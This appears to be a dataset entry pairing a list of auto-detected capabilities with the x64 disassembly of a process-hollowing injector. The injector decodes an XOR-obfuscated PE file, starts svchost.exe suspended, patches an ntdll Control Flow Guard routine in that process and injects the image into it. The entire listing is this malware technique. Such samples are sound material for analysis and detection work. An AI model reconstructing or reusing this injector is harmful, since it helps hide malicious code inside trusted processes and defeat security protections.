Function at 0x140001f60
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Get common file path
Get file size
Read file on windows
Terminate process

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x9e0]
sub rsp, 0xae0
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x9d0], rax
lea r8, str.rotation
mov edx, 0x104
lea rcx, [rbp + 0x8c0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov edx, 0x104
lea rcx, [rbp + 0x7b0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x140001fc8
lea rdx, [rbp + 0x7b0]
lea rcx, str.System_Directory__s_n
call fcn.140001010
jmp 0x140001fd4
lea rcx, str.Failed_to_get_system_directory._n
call fcn.140001010
mov qword [rsp + 0xb00], rbx
lea r8, str._svchost.exe
mov qword [rsp + 0xb08], r12
lea rcx, [rbp + 0x7b0]
mov qword [rsp + 0xb10], r14
mov edx, 0x104
mov qword [rsp + 0xb18], r15
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rcx, str._PROCESS_HOLLOWING__n
call fcn.140001010
xor edi, edi
lea rcx, [rbp + 0x8c0]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140002061
lea rcx, str.____An_error_occured_when_trying_to_open_the_PE_file___n
call fcn.140001010
mov rcx, rsi
jmp 0x14000238d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r14d, eax
cmp eax, 0xffffffff
jne 0x140002088
lea rcx, str.____An_error_occured_when_trying_to_get_the_PE_file_size___n
call fcn.140001010
mov rcx, rsi
jmp 0x14000238d
mov r15, r14
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400020c5
lea rcx, str.____An_error_occured_when_trying_to_allocate_memory_for_the_PE_file_content___n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
jmp 0x14000238d
lea r9, [rbp + 0x738]
mov qword [rsp + 0x20], rdi
mov r8d, r14d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000210a
lea rcx, str.____An_error_occured_when_trying_to_read_the_PE_file_content___n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x140002393
mov rcx, rbx
jmp 0x14000238d
shr r14d, 3
mov rcx, rbx
test r14d, r14d
je 0x140002138
mov edx, r14d
nop dword [rax]
mov rax, r15
xor rax, qword [rcx]
lea rcx, [rcx + 8]
ror rax, 7
mov qword [rcx - 8], rax
sub rdx, 1
jne 0x140002120
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x140002393
mov rdx, rbx
lea rcx, str.___PE_file_content_:_0x_p_n
call fcn.140001010
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
je 0x14000218b
lea rcx, str.____The_PE_file_is_not_valid___n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140002393
lea rcx, str.___The_PE_file_is_valid._n
call fcn.140001010
xorps xmm0, xmm0
mov dword [rbp + 0x740], 0x68
xor eax, eax
lea rcx, [rbp + 0x7b0]
mov dword [rbp + 0x7a4], eax
xor r9d, r9d
mov qword [rsp + 0x70], rax
xor r8d, r8d
lea rax, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x740]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
movups xmmword [rbp + 0x744], xmm0
movups xmmword [rbp + 0x754], xmm0
movups xmmword [rbp + 0x764], xmm0
movups xmmword [rbp + 0x774], xmm0
movups xmmword [rbp + 0x784], xmm0
movups xmmword [rbp + 0x794], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140002235
lea rcx, str.____An_error_is_occured_when_trying_to_create_the_target_process___n
jmp 0x14000234a
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x140002253
lea rcx, str.____Failed_to_get_the_base_address_of_ntdll.dll___n
jmp 0x14000234a
mov rcx, qword [rsp + 0x60]
lea rdx, [rax + 0x7be0]
mov r9d, 4
mov dword [rbp + 0x734], 0xc3c03148
lea r8, [rbp + 0x734]
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140002291
lea rcx, str.____Failed_to_patch_ntdll.dll_RtlpInsertOrRemoveScpCfgFunctionTable___n
jmp 0x14000234a
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x730]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
cmp dword [rbp + 0x730], edi
je 0x1400023d2
mov r8d, 0x2c8
mov qword [rsp + 0x78], rdi
lea rcx, [rbp - 0x6c]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x34]
lea r8, [rsp + 0x78]
mov rcx, qword [rsp + 0x60]
add edx, 8
mov r9d, 4
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140002317
xorps xmm0, xmm0
xorps xmm1, xmm1
psrldq xmm0, 8
movq rax, xmm1
movq rcx, xmm0
jmp 0x14000232f
mov eax, dword [rbp + 0x34]
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movdqa xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
test rcx, rcx
je 0x140002343
test rax, rax
jne 0x140002477
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_image_base_address_of_the_target_process___n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140002373
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140002393
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
mov r15, qword [rsp + 0xb18]
mov r14, qword [rsp + 0xb10]
mov r12, qword [rsp + 0xb08]
mov rbx, qword [rsp + 0xb00]
mov rcx, qword [rbp + 0x9d0]
xor rcx, rsp
call fcn.140002670
add rsp, 0xae0
pop rdi
pop rsi
pop rbp
ret
mov r8d, 0x4d0
mov qword [rbp - 0x80], rdi
lea rcx, [rbp + 0x260]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x260]
mov dword [rbp + 0x290], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x2e8]
lea r8, [rbp - 0x80]
mov rcx, qword [rsp + 0x60]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140002444
xorps xmm0, xmm0
xorps xmm1, xmm1
psrldq xmm0, 8
movq rax, xmm1
movq rcx, xmm0
jmp 0x14000245f
mov rax, qword [rbp + 0x2e8]
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movdqa xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
test rcx, rcx
je 0x140002343
test rax, rax
je 0x140002343
mov rdx, qword [rsp + 0x50]
lea rcx, str.___Target_Process_PEB_:_0x_p_n
call fcn.140001010
mov rsi, qword [rsp + 0x58]
lea rcx, str.___Target_Process_Image_Base_:_0x_p_n
mov rdx, rsi
call fcn.140001010
movsxd rax, dword [rbx + 0x3c]
lea rcx, str.___Source_PE_Image_architecture_:_x86_n
mov r12d, 0x10b
movzx r14d, word [rax + rbx + 0x18]
lea rax, str.___Source_PE_Image_architecture_:_x64_n
cmp r14w, r12w
cmovne rcx, rax
call fcn.140001010
cmp dword [rbp + 0x730], edi
lea rax, str.___Target_PE_Image_architecture_:_x64_n
lea rcx, str.___Target_PE_Image_architecture_:_x86_n
cmove rcx, rax
call fcn.140001010
cmp r14w, r12w
jne 0x140002503
cmp dword [rbp + 0x730], edi
jne 0x14000250b
lea rcx, str.____Architecture_are_not_compatible___n
call fcn.140001010
jmp 0x140002393
cmp dword [rbp + 0x730], edi
jne 0x1400024f2
lea rcx, str.___Architecture_are_compatible___n
call fcn.140001010
movsxd rax, dword [rbx + 0x3c]
movzx ecx, word [rax + rbx + 0x5c]
movzx r15d, cx
lea rcx, str.___Source_Image_subsystem_:_0x_X_n
mov edx, r15d
call fcn.140001010
mov rdx, rsi
mov rcx, qword [rsp + 0x60]
cmp dword [rbp + 0x730], edi
je 0x14000254a
call fcn.140001070
jmp 0x14000254f
call fcn.1400011d0
mov esi, eax
cmp eax, 0xffffffff
jne 0x140002562
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_subsytem_of_the_target_process._n
jmp 0x14000234a
mov edx, esi
lea rcx, str.___Target_Process_subsystem_:_0x_X_n
call fcn.140001010
cmp r15d, esi
jne 0x14000264a
lea rcx, str.___Subsytems_are_compatible._n
call fcn.140001010
movsxd rax, dword [rbx + 0x3c]
cmp r14w, r12w
jne 0x1400025c5
mov eax, dword [rax + rbx + 0xa0]
test eax, eax
setne dil
test eax, eax
jne 0x1400025d3
lea rcx, str.___The_source_image_doesnt_have_a_relocation_table._n
call fcn.140001010
lea rcx, [rsp + 0x60]
mov rdx, rbx
cmp r14w, r12w
jne 0x1400025e3
test edi, edi
jne 0x1400025dc
call fcn.140001340
jmp 0x1400025f3
cmp dword [rax + rbx + 0xb0], edi
je 0x1400025a0
mov edi, 1
lea rcx, str.___The_source_image_has_a_relocation_table._n
jmp 0x1400025a7
call fcn.1400017c0
jmp 0x1400025f3
test edi, edi
jne 0x1400025ee
call fcn.140001580
jmp 0x1400025f3
call fcn.140001ba0
test eax, eax
je 0x14000263e
lea rcx, str.___The_injection_has_succeed___n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140002627
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140002637
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140002398
lea rcx, str.____The_injection_has_failed___n
jmp 0x14000234a
lea rcx, str.____Subsytems_are_not_compatible._n
jmp 0x14000234a